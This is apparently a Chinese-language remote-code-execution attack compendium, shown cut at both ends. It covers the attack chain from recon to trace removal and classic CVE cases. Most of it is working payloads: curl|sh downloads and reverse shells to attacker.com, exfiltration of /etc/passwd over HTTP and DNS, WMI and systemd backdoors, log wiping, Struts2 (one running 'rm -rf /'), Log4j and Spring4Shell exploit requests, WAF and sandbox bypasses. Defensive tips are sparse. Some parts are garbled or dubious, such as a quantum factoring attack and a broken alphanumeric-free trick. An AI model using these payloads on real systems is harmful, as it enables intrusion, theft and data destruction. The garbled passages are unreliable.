CVE-2021-1675(PrintNightmare)

CVE-2021-34473(ProxyShell)

链式组合RCE

多漏洞组合

权限提升链

环境依赖突破

纵深防御环境

权限隔离系统

云原生环境

★★★★★

★★★★★

CVE-2021-26855(ProxyLogon)

CVE-2021-34527(PrintNightmare)

持久化RCE

长期驻留

自动复活

多入口点

高级持续威胁

供应链攻击

后门植入

★★☆☆☆

★★★★★

超级火焰病毒

SolarWinds后门

无文件RCE

零磁盘写入

注册表/内存存储

合法进程注入

终端防护严格环境

取证困难场景

金融系统攻击

★★★★☆

★★★★★

Cobalt Strike Beacon

PowerShell Empire

内核级RCE

Ring0权限执行

绕过用户层防护

直接硬件访问

反病毒对抗

固件攻击

硬件层渗透

★★★★★

★★★★★

CVE-2021-21551(NVIDIA驱动)

CVE-2021-22555(Netfilter)

跨平台RCE

多OS通用

解释器漏洞利用

硬件无关

混合云环境

容器集群

物联网设备

★★★★☆

★★★★☆

CVE-2017-5638(Struts2)

CVE-2021-45046(Log4j)

3.技术深度剖析

一、直接命令执行 (Direct Command Execution)

技术原理深度剖析

攻击流程详解:

1. 输入点探测:寻找未过滤的参数(如`cmd`、`exec`)

2. 分隔符注入:使用`;`、`&`、`|`等分割命令

3. 命令构造:

   ; curl http://attacker.com/shell.sh | sh

   && wget -O /tmp/mal.sh http://attacker.com/mal.sh

   | bash -c 'echo evil > /etc/cron.d/backdoor'

4. 环境利用:通过`PATH`、`LD_PRELOAD`等环境变量控制执行路径

5. 权限提升:结合`sudo`漏洞或`setuid`程序提权

经典案例:

Shellshock (CVE-2014-6271):

curl -H "User-Agent: () { :; }; /bin/eject" http://victim.com/cgi-bin/vuln-script

Apache Struts (CVE-2017-5638):

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='rm -rf /').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
二、盲注型RCE (Blind RCE)

技术实现深度剖析

数据外带技术矩阵:

技术

实现方式

检测难度

适用场景

DNS外带

`nslookup $(whoami).attacker.com`

★★☆☆☆

严格防火墙环境

HTTP外带

`curl http://attacker.com/$(cat /etc/passwd|base64)`

★★★☆☆

允许HTTP出口

ICMP隧道

`ping -p $(echo secret|xxd -p) 192.168.1.1`

★★★★☆

网络监控严格

时间盲注

`if [ $(id -u) -eq 0 ]; then sleep 10; fi`

★★★★★

完全网络隔离

像素追踪

`<img src="http://attacker.com?pixel=ENCODED_DATA">`

★★★☆☆

Web应用环境

高级利用工具:

# 使用DNSExfiltrator外带数据

dnsexfiltrator --dns server.com --file secret.doc --password MySecr3tPass

防御策略:

命令执行超时限制:`timeout 5s dangerous_command`

网络出口过滤:阻止非常规协议外联

执行环境隔离:使用容器网络策略

三、内存型RCE (In-Memory RCE)

技术栈全景

Windows内存注入全流程:

// 1. 打开目标进程

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);


// 2. 分配内存

LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, shellcode_size, 

                                  MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);


// 3. 写入Shellcode

WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcode_size, NULL);


// 4. 创建远程线程

CreateRemoteThread(hProcess, NULL, 0, 

                  (LPTHREAD_START_ROUTINE)pRemoteMem, NULL, 0, NULL);

Linux无文件攻击:

# 使用memfd_create

exec -a "init" $(echo -ne '\x7fELF...' | dd of=/proc/self/mem bs=1 seek=$((0x1000)) conv=notrunc)

防御策略:

启用控制流防护(CFG/XFG)

实施代码签名策略

使用硬件强制堆栈保护(CET)

四、链式组合RCE (Chained RCE)

ProxyLogon攻击链深度解析

漏洞组合技术:

1. 初始访问层:Web漏洞(SSRF/文件上传)

2. 权限提升层:本地提权漏洞(如内核漏洞)

3. 持久化层:服务创建/计划任务

4. 横向移动层:凭证窃取/Pass-the-Hash

防御策略:

攻击路径分析:模拟攻击链检测薄弱点

最小权限原则:每个服务独立账户

网络微分段:限制服务器间通信

五、持久化RCE (Persistent RCE)

跨平台持久化技术

高级持久化案例:

# Windows WMI永久事件订阅

$FilterArgs = @{

    EventNamespace = 'root/cimv2'

    Name = 'MaliciousFilter'

    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process'"

    QueryLanguage = 'WQL'

}

$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs


$ConsumerArgs = @{

    Name = 'MaliciousConsumer'

    CommandLineTemplate = "C:\Windows\System32\malware.exe"

}

$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs


$BindingArgs = @{

    Filter = $Filter

    Consumer = $Consumer

}

Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs

检测与防御:

基线监控:`Get-WmiObject __FilterToConsumerBinding`

行为分析:异常子进程创建

文件完整性监控:关键系统目录校验

六、无文件RCE (Fileless RCE)

技术实现矩阵

Windows注册表存储攻击:

# 将Payload存储在注册表

$payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes("malware.exe"))

Set-ItemProperty -Path HKCU:\Environment -Name Update -Value $payload


# 执行时加载

$code = [Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Environment).Update)

[Reflection.Assembly]::Load($code).EntryPoint.Invoke($null, $null)

防御策略:

PowerShell深度日志:启用脚本块日志

AMSI扫描:反恶意软件扫描接口

内存取证:Volatility框架检测

七、内核级RCE (Kernel-Level RCE)

攻击技术全景

Linux内核漏洞利用(CVE-2021-22555):

// Netfilter漏洞利用

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>


struct nf_hook_ops vuln_ops = {

    .hook = vuln_hook_fn,

    .pf = NFPROTO_IPV4,

    .hooknum = NF_INET_POST_ROUTING,

    .priority = NF_IP_PRI_FIRST

};


static unsigned int vuln_hook_fn(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) {

    // 恶意操作

    return NF_ACCEPT;

}


// 注册恶意hook

nf_register_net_hook(&init_net, &vuln_ops);

防御策略:

内核地址空间随机化(KASLR)

写保护页表(W^X)

驱动签名强制(DSE)

基于虚拟化的安全(VBS)

八、跨平台RCE (Cross-Platform RCE)

攻击面分析

Log4j攻击链深度解析:

跨平台防御策略:

1. 统一补丁管理:

# 使用Ansible批量更新

ansible all -m apt -a "name=log4j upgrade=yes"

2. 容器镜像扫描:

trivy image --severity CRITICAL myapp:latest

3. 解释器加固:

# Python沙箱限制

import restricted

from restricted import safe_builtins


exec('user_code', {'__builtins__': safe_builtins})
、未来攻击与防御趋势
新兴攻击向量

防御技术演进
1. 硬件辅助安全:

   Intel CET (Control-flow Enforcement)

   AMD SEV (Secure Encrypted Virtualization)

   ARM MTE (Memory Tagging Extension)

2. 机密计算:

3. AI驱动防御:
class AISecurity:

    def __init__(self):

        self.model = load_model("rce_detection_v3.h5")

       

    def detect(self, syscall_sequence):

        prediction = self.model.predict(sequence_to_vector(syscall_sequence))

        return prediction > 0.95

六、完整攻击链分解

1.攻击链全景图

2.阶段深度解析

2.1 信息收集 (Information Gathering)

技术细节与工具:

Nmap高级扫描:

# 全面扫描+漏洞检测

nmap -sV -sC -O -T4 -Pn -p- --script vuln 192.168.1.0/24


# 结果解析

PORT     STATE SERVICE    VERSION

22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| vulners:

|   cpe:/a:openssh:openssh:8.2p1:

|       CVE-2021-41617   7.8     https://vulners.com/cve/CVE-2021-41617

80/tcp   open  http       Apache httpd 2.4.41 ((Ubuntu))

| http-vulners:

|   /: Apache 2.4.41 vulnerabilities

|       CVE-2021-41773   7.5     https://vulners.com/cve/CVE-2021-41773

被动情报收集:

# Amass深度侦查

amass enum -passive -d example.com -config config.ini


# Shodan搜索

shodan search 'http.title:"Dashboard" port:443 country:"US"'


# GitHub敏感信息扫描

trufflehog --regex --entropy=False https://github.com/target/repo.git
2.2 漏洞探测 (Vulnerability Probing)

高级探测技术:

RCE特征fuzzing:

import requests

from fuzzing_book import Fuzzer


# 自定义RCE fuzzer

class RCEFuzzer(Fuzzer):

    def __init__(self, url, param):

        self.url = url

        self.param = param

        self.payloads = [

            ';id;', 

            '${jndi:ldap://test}',

            '{{7*7}}',

            '<?php system($_GET["cmd"]);?>'

        ]

   

    def run(self):

        for payload in self.payloads:

            params = {self.param: payload}

            try:

                r = requests.get(self.url, params=params, timeout=3)

                if "uid=" in r.text or "49" in r.text:

                    return f"Vulnerable! Payload: {payload}"

            except:

                continue

        return "No RCE detected"


# 使用示例

fuzzer = RCEFuzzer('http://target.com/api', 'input')

print(fuzzer.run())

时间盲注探测:

GET /ping?ip=127.0.0.1;sleep$((RANDOM%4+1)) HTTP/1.1

Host: target.com
2.3 载荷构造 (Payload Crafting)

高级载荷示例:

# 多平台自适应载荷

#!/bin/bash


if [[ "$OSTYPE" == "linux-gnu"* ]]; then

    # Linux载荷

    exec 3<>/dev/tcp/attacker.com/4444

    cat <&3 | while read line; do $line 2>&3; done

elif [[ "$OSTYPE" == "msys" || "$OSTYPE" == "win32" ]]; then

    # Windows载荷

    powershell -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

else

    exit 1

fi
2.4. 初始访问 (Initial Access)

突破技术详解:

Log4j漏洞利用:

GET / HTTP/1.1

Host: vulnerable.com

User-Agent: ${jndi:ldap://attacker.com/Exploit}

Apache路径穿越RCE(CVE-2021-41773):

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1

Host: target.com

Content-Type: text/plain


echo; id
2.5 命令执行 (Command Execution)

执行策略与对抗:

隐蔽执行:

# Linux隐藏进程

(nohup bash -c 'while true; do curl http://attacker.com/c2; done' &>/dev/null &)


# Windows隐藏执行

Start-Job -ScriptBlock { while($true) { Invoke-WebRequest http://attacker.com/c2; Start-Sleep 60 } }

防御规避:

# 禁用历史记录

unset HISTFILE


# 清除日志

find /var/log -type f -exec sh -c 'echo "" > {}' \;


# 使用合法进程名

cp /bin/bash /usr/lib/systemd/systemd-udevd

/usr/lib/systemd/systemd-udevd -c /tmp/.config
2.6 权限提升 (Privilege Escalation)

提权技术详解:

Linux内核提权 (CVE-2021-4034):

# PwnKit利用

wget http://attacker.com/pwnkit -O /tmp/.pwn

chmod +x /tmp/.pwn

/tmp/.pwn

id

# uid=0(root) gid=0(root) groups=0(root)

Windows提权 (JuicyPotato):

# 下载并执行提权工具

Invoke-WebRequest http://attacker.com/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exe

C:\Windows\Temp\jp.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -c {CLSID}
2.7 持久化 (Persistence)

高级持久化技术:

Linux Systemd服务:

# /etc/systemd/system/backdoor.service

[Unit]

Description=Fake Log Service


[Service]

ExecStart=/bin/bash -c "while true; do curl http://attacker.com/c2; sleep 60; done"

Restart=always

RestartSec=60


[Install]

WantedBy=multi-user.target

Windows WMI事件订阅:

$FilterArgs = @{ 

    EventNamespace='root/cimv2'

    Name='MaliciousFilter'

    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

}

$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs


$ConsumerArgs = @{

    Name='MaliciousConsumer'

    CommandLineTemplate="powershell -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\""

}

$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs


$BindingArgs = @{

    Filter = $Filter

    Consumer = $Consumer

}

Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs
2.8 横向移动 (Lateral Movement)

横向移动技术:

Pass-the-Hash攻击:

# 使用Impacket工具包

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.10

SSH证书滥用:

# 通过跳板机横向移动

ssh -i id_rsa user1@host1 "ssh -i id_rsa user2@host2 'curl http://attacker.com/payload | sh'"
2.9 目标达成 (Objective Completion)

最终阶段操作:

数据外传:

# 压缩并上传数据

tar czf /tmp/data.tar.gz /etc /home /var/www

curl -T /tmp/data.tar.gz http://attacker.com/upload


# 使用DNS隧道外传

cat /etc/passwd | xxd -p -c 16 | while read line; do dig $line.data.attacker.com; done

痕迹清除:

# Linux痕迹清除脚本

history -c

find / -name ".*_history" -exec rm -f {} \;

find /var/log -type f -exec sh -c 'echo "" > {}' \;

rm -f /var/log/wtmp /var/log/btmp

3.完整攻击链示例:Exchange服务器入侵

4.各阶段技术要点:

1. 信息收集:框架指纹识别、中间件版本扫描

2. 漏洞探测:参数fuzzing、协议分析

3. 载荷构造:根据过滤规则动态生成payload

4. 初始访问:利用漏洞建立执行通道

5. 命令执行:系统命令/内存shellcode执行

6. 权限提升:内核漏洞提权(DirtyPipe)

7. 持久化:crontab/Windows服务/启动项

8. 横向移动:Pass-the-Hash/凭证窃取

、高级绕过技术

1.命令注入绕过技术

1.1 字符过滤绕过

高级绕过示例:

# 空格绕过

cat${IFS}flag.txt

cat<>flag.txt

{cat,flag.txt}


# 关键词绕过

c\at fla*.txt  # 反斜杠+通配符

${PATH:0:1}bin${PATH:0:1}cat /etc/passwd  # 环境变量切割

$(printf "\143\141\164\40\146\154\141\147\56\164\170\164")  # 八进制编码


# 特殊符号绕过

%0acat%20flag.txt%0a  # URL编码换行符

`echo$IFS'ZWNobyAiSGVsbG8gV29ybGQi'|base64$IFS-d`  # 嵌套执行
1.2 无字母数字RCE

仅用$(){}实现代码执行:

# 生成"id"命令

_=$(($$/$$))       # 得到1

__=${_}{_,}        # 1{_,} => 1_ 1,

___=${__:1:1}      # 得到_

____=${___}$(($$/$$))${___}  # _1_

_____=${____:1:1}  # 得到1

______=${_____}$(($$/$$))    # 11

_______=${______}$(($$/$$))  # 111


# 构造"id"字符串

${_______::1} = "1" -> 八进制151 -> 字符"i"

${_______::2} = "11" -> 八进制151151 -> 字符"d"

$(echo${IFS}-e${IFS}"\151\144")  # 最终执行id命令

2.代码执行绕过技术

2.1 PHP绕过技术

高级PHP绕过:

<?php

// 1. 字符串构造

$f = 'sy'.'ste'.'m';

$f('id');


// 2. 十六进制绕过

$f = hex2bin('73797374656d'); // system

$f('id');


// 3. 回调函数

array_map('system', ['id']);


// 4. 反射绕过

$func = new ReflectionFunction('system');

$func->invoke('id');


// 5. 反序列化利用

class Exploit {

    public $cmd = 'id';

    public function __destruct() {

        ($this->cmd)();

    }

}

unserialize('O:7:"Exploit":1:{s:3:"cmd";s:2:"id";}');
2.2 Java反序列化绕过

黑名单绕过技术:

// 使用ScriptEngineManager绕过Runtime限制

new ScriptEngineManager().getEngineByName("JavaScript")

    .eval("java.lang.Runtime.getRuntime().exec('calc.exe')");


// 使用ProcessBuilder

new ProcessBuilder("cmd", "/c", "calc.exe").start();


// 使用JNDI工厂类

new InitialContext().lookup("ldap://attacker.com/Exploit");


// 使用BCEL类加载器

Class.forName("$$BCEL$$...").newInstance();

3.WAF/IDS绕过技术

3.1 HTTP请求走私

实际利用:

POST /api HTTP/1.1

Host: target.com

Content-Length: 6

Transfer-Encoding: chunked


0


POST /admin RCE_PAYLOAD
3.2 分块编码绕过
POST /vulnerable.php HTTP/1.1

Host: target.com

Transfer-Encoding: chunked


1E

cmd=echo;cat /etc/passwd

0
3.3 多重编码绕过
# 七层编码混淆

from urllib.parse import quote


payload = '; cat /etc/passwd;'

obfuscated = quote(quote(quote(quote(payload))))


# 最终payload: %252525253B%2525252520cat%2525252520%252525252Fetc%252525252Fpasswd%252525253B

4.沙箱逃逸技术

4.1 容器逃逸技术

实际逃逸:

# 通过挂载逃逸

docker run -v /:/host -it ubuntu chroot /host bash


# 利用内核漏洞

./dirtypipe /etc/passwd 1 "root::0:0:root:/root:/bin/bash\n"
4.2 语言沙箱逃逸

Python沙箱逃逸:

# 1. 内置函数利用

().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('id')


# 2. 导入模块绕过

__import__('os').system('id')


# 3. 异常处理利用

try:

    raise Exception("")

except Exception as e:

    e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')

5.内存保护绕过

5.1 Windows内存保护绕过

实际ROP链构造:

// 典型ROP链结构

rop_chain = [

    kernel32_base + 0x0002c10c,  // POP EAX; RET

    0x90909090,

    kernel32_base + 0x0001a1fc,  // POP ECX; RET

    address_of_writable_memory,

    kernel32_base + 0x0002d4a4,  // MOV [ECX], EAX; RET

   

    // 设置VirtualProtect参数

    kernel32_base + 0x0002c10c,  // POP EAX; RET

    (DWORD) &VirtualProtect,

   

    // 调用VirtualProtect

    kernel32_base + 0x0001f075   // CALL EAX

];

6.签名验证绕过

6.1 代码签名绕过技术

DLL劫持示例:

1. 找到合法签名的程序(如notepad.exe)

2. 创建同名的恶意DLL(如d3d11.dll)

3. 利用DLL搜索顺序劫持执行

7.AI辅助绕过技术

7.1 对抗性机器学习
import torch

import torch.nn as nn


class BypassGenerator(nn.Module):

    def __init__(self):

        super().__init__()

        self.encoder = nn.LSTM(128, 256, batch_first=True)

        self.decoder = nn.LSTM(256, 128, batch_first=True)

       

    def forward(self, x):

        x, _ = self.encoder(x)

        x, _ = self.decoder(x)

        return x


# 生成绕过WAF的payload

def generate_bypass_payload(original_payload):

    model = BypassGenerator.load("waf_bypass_model.pt")

    encoded = tokenize(original_payload)

    obfuscated = model(encoded)

    return detokenize(obfuscated)

8.硬件级绕过技术

8.1 BIOS/UEFI固件攻击

实际攻击步骤:

1. 使用`flashrom`工具备份当前固件

2. 使用`UEFITool`修改固件映像

3. 插入恶意DXE驱动程序

4. 刷写修改后的固件

5. 重启系统实现持久化

9.防御检测绕过技术

9.1 反沙箱技术
// 高级反沙箱检测

BOOL IsDebuggerPresentEx() {

    __try {

        __asm {

            push eax

            mov eax, fs:[30h]  // PEB

            mov al, [eax + 2h] // BeingDebugged

            test al, al

            pop eax

            jnz DebuggerDetected

        }

        return FALSE;

    DebuggerDetected:

        return TRUE;

    } __except(EXCEPTION_EXECUTE_HANDLER) {

        return TRUE;

    }

}


// 虚拟机检测

BOOL IsVirtualMachine() {

    int cpuInfo[4];

    __cpuid(cpuInfo, 1);

    return (cpuInfo[2] & (1 << 31)) != 0; // 检查Hypervisor位

}

10.新兴绕过技术

10.1 量子计算攻击

1. 使用量子计算机对公钥进行因式分解

2. 在多项式时间内计算私钥

3. 解密捕获的加密通信

4. 获取敏感认证凭证

5. 执行远程命令

11.自动化绕过工具链

11.1 高级绕过框架
# Obfusca7e框架使用

python3 obfusca7e.py -t "http://target/vuln?param=INJECT" \

    -p "cat /etc/passwd" \

    -m advanced \

    --layers 5 \

    --encode base64,hex,url

   

# 生成payload:

# %2525252F%2525252A%2525252A%2525252F%25252524%2525257B%25252550%25252541%25252554%25252548%2525253A%25252530%2525252C%25252531%2525257D%25252562%25252569%2525256E%25252524%2525257B%25252550%25252541%25252554%25252548%2525253A%25252530%2525252C%25252531%2525257D%25252563%25252561%25252574%25252524%2525257B%25252549%25252546%25252553%2525257D%2525252F%25252565%25252574%25252563%2525252F%25252570%25252561%25252573%25252573%25252577%25252564

总结与演进趋势

绕过技术演进:

1. 从简单到复杂:
2. 跨层渗透趋势:

   应用层 → 系统层 → 硬件层

   物理设备 → 云环境 → 容器集群

、实战检测工具链

一、静态代码检测工具链

1. SAST工具深度应用

CodeQL实战流程:

import java

from MethodAccess call

where call.getMethod().getName() = "exec"  // 定位命令执行点

  and call.getCaller().getFile().getAbsolutePath().matches("%webapp%")

select call, "RCE风险:未过滤的系统命令调用"

关键能力:通过数据流追踪(`DataFlow::Path`)分析用户输入到`Runtime.exec()`的路径,识别过滤缺失点。

Semgrep高级规则:

rules:

  - id: rce-os-system

    pattern: os.system($CMD)

    message: "直接执行系统命令:$CMD"

    languages: [python]

    severity: CRITICAL

  扩展场景:支持50+语言,可检测`eval()`、`pickle.loads()`等高风险函数。

2. 二进制审计工具

Ghidra反编译检测:

  定位`system`/`popen`等危险函数调用

  分析栈结构识别缓冲区溢出风险(如`strcpy`未校验长度)

BinDiff案例:比对补丁前后二进制文件,定位CVE-2025-53770漏洞修复点(`mov eax`→`call secure_check`)。

二、动态检测工具链

1. 流量级检测工具

Burp Suite插件生态:

  Turbo Intruder:用于盲注RCE的延时检测

def queueRequests(target, wordlists):

  engine.queue(target.req, delay=1000)  # 设置延时基线

  engine.queue(target.req + " && sleep 5", delay=5000) # 检测时间差异

  ActiveScan++:扩展Shiro/CVE-2025-53770的payload库

WAF绕过检测工具:

  ByeWAF:采用多级编码绕过策略

python3 byeWAF.py -u "http://target/_api" -p "cmd=;id" \

  --tamper "base64,url,unicode"
2. 主机级监控工具

Sysmon精细化配置:

<RuleGroup name="RCE Detection">

  <ProcessCreate onmatch="include">

    <CommandLine condition="contains">.dll & certutil -urlcache</CommandLine>

  </ProcessCreate>

  <NetworkConnect onmatch="include">

    <DestinationPort condition="is">53</DestinationPort> <!-- DNS外带检测 -->

  </NetworkConnect>

</RuleGroup>

  联动EDR:实时阻断异常进程树(如`powershell`派生`rundll32`)。

三、漏洞利用框架链

1. Metasploit模块化利用

内网穿透集成:

use exploit/multi/http/sharepoint_rce_53770

set RHOSTS 192.168.1.0/24

set THREADS 50  # 全网段自动化扫描

exploit -j -z

  优势:内置向日葵RCE(CVE-2022-XXXX)、Shiro等模块。

2. Cobalt Strike高级利用

DNS Beacon隐匿通信:

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/dns.ps1')"

  防御绕过:通过TXT记录传输数据,规避流量审计。

四、专项漏洞工具链

1. 无回显漏洞探测工具

DNSLog平台集成:

curl "http://target/ping?ip=;ping+${RANDOM}.user.dnslog.cn"

# 平台刷新后查看解析记录:cite[1]:cite[2]

  进阶用法:结合ICMP/TCP外带工具如`pingtunnel`。

2. 反序列化漏洞工具链

Shiro专项检测:

python3 shiro-check-rce.py -u http://target/login -c "whoami" \

  -t ceye_token -k kPH+bIxk5D2deZiIxcaaaA==:cite[7]:cite[8]

  自动化利用:内置Key字典爆破、反弹Shell自动编码。

Hessian利用链:

java -jar marshalsec-0.0.3.jar hessian LDAP://attacker:1389/Exploit

# 触发XXL-JOB的/api端点实现RCE:cite[6]
3. 特定产品漏洞工具

向日葵RCE利用链:

sunRce.exe -h 192.168.1.100-200 -t scan  # 网段扫描

sunRce.exe -h 192.168.1.105 -t rce -c "certutil -urlcache http://attacker/shell.exe":cite[5]

  提权整合:通过`-c "sc create backdoor binpath=shell.exe"`注册服务实现持久化。

五、工具链协同与自动化

1. 工具链编排框架

2. DevSecOps集成

GitLab SAST Pipeline:

stages:

  - test

sast:

  stage: test

  image: semgrep/semgrep

  script:

    - semgrep --config=p/rce --json > report.json

  artifacts:

    paths: [report.json]

  反馈机制:自动提交Issue至JIRA。

、前沿检测技术演进

1. AI辅助漏洞挖掘
model = transformers.AutoModelForSequenceClassification.from_pretrained("rce_detector")

input = tokenizer("user_input = request.GET['cmd']; os.system(user_input)", return_tensors="pt")

output = model(**input)  # 预测漏洞概率>95%:cite[3]
2. 硬件级行为监控

   Intel PT:追踪处理器指令流,检测异常跳转(如ROP链)

   eBPF实时分析:在内核层拦截`execve`的非常规调用路径。

、经典漏洞案例分析

一、Log4Shell(CVE-2021-44228)全景解析

漏洞原理深度剖析

漏洞触发流程:

1. 恶意日志注入:

logger.error("${jndi:ldap://attacker.com/Exploit}");

2. JNDI解析流程:

Context ctx = new InitialContext();

Object obj = ctx.lookup("ldap://attacker.com/Exploit"); // 触发恶意类加载

3. 恶意类构造:

public class Exploit {

    static {

        try {

            Runtime.getRuntime().exec("curl http://attacker.com/shell | sh");

        } catch (Exception e) {}

    }

}

影响范围统计:

影响领域

受影响系统

全球影响比例

云服务

AWS/Azure/GCP

42%

企业应用

VMware/IBM WebSphere

31%

网络设备

Cisco/Fortinet

18%

IoT设备

监控/路由设备

9%

修复方案对比:

# log4j2.xml 配置变更

<Configuration>

+  <Properties>

+    <Property name="log4j2.formatMsgNoLookups">true</Property>

+  </Properties>

   <Appenders>

     <Console name="Console" target="SYSTEM_OUT">

-      <PatternLayout pattern="%m%n"/>

+      <PatternLayout pattern="%m{nolookups}%n"/>

     </Console>

   </Appenders>

</Configuration>

二、Spring4Shell(CVE-2022-22965)技术深潜

漏洞原理图解

漏洞利用代码剖析:

POST /users HTTP/1.1

Host: vulnerable.com

Content-Type: application/x-www-form-urlencoded


class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

影响版本矩阵:

Spring Framework

JDK

Tomcat

是否受影响

5.3.x

9+

10.x

5.2.x

9+

9.x

5.3.x

8

9.x

5.2.x

8

8.x

三、Apache Struts2 (CVE-2017-5638) 深度分析

漏洞触发机制

漏洞利用代码:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

漏洞修复方案:

// DefaultContentTypeMatcher.java

public boolean matches(String contentType) {

+   if (contentType == null) {

+       return false;

+   }

-   return this.acceptedContentTypes.contains(contentType.toLowerCase());

+   String lowerContentType = contentType.toLowerCase();

+   if (lowerContentType.contains("ognl") || lowerContentType.contains("java")) {

+       return false;

+   }

+   return this.acceptedContentTypes.contains(lowerContentType);

}

四、永恒之蓝(EternalBlue)MS17-010

漏洞利用链全景

漏洞利用代码分析:

# 永恒之蓝利用核心代码(简化版)

def exploit(target_ip):

    # 1. 建立SMB连接

    conn = SMBConnection(target_ip)

   

    # 2. 发送畸形事务请求

    trans_packet = create_trans_packet(

        param=overflow_buffer,  # 精心构造的溢出数据

        data=kernel_shellcode   # 内核级Shellcode

    )

    conn.send(trans_packet)

   

    # 3. 触发内核Shellcode

    conn.send_trigger_packet()

   

    # 4. 部署DoublePulsar后门

    deploy_doublepulsar(conn)

影响统计:

全球影响:超过20万台Windows设备被感染

传播速度:首日感染10万台设备

经济损失:全球超过100亿美元

五、心脏滴血(Heartbleed)CVE-2014-0160

漏洞原理深度解析

内存泄露示意图:

类型

长度

有效载荷

填充数据

1字节

2字节

变长

变长

0x18

0x40

"HELLO"

内存数据...

漏洞检测脚本:

def check_heartbleed(host, port=443):

    s = socket.socket()

    s.connect((host, port))

   

    # 发送TLS ClientHello

    s.send(bytearray.fromhex("16030100dc010000d8030300..."))

   

    # 构造恶意Heartbeat请求

    payload = "HELLO".encode()

    heartbeat = bytearray.fromhex("18 03 02 00 03 01")  # TLS 1.1 Heartbeat

    heartbeat.extend([0x40, 0x00])  # 长度字段 16384

    heartbeat.extend(payload)

   

    s.send(heartbeat)

    response = s.recv(0x10000)

   

    # 检测响应是否包含额外内存数据

    if len(response) > len(payload) + 5:

        print(f"[!] Vulnerable! Leaked {len(response)-5} bytes")

        print(response[5:].decode(errors='ignore'))

六、ProxyLogon(CVE-2021-26855)攻击链解析

完整攻击流程图

关键漏洞点:

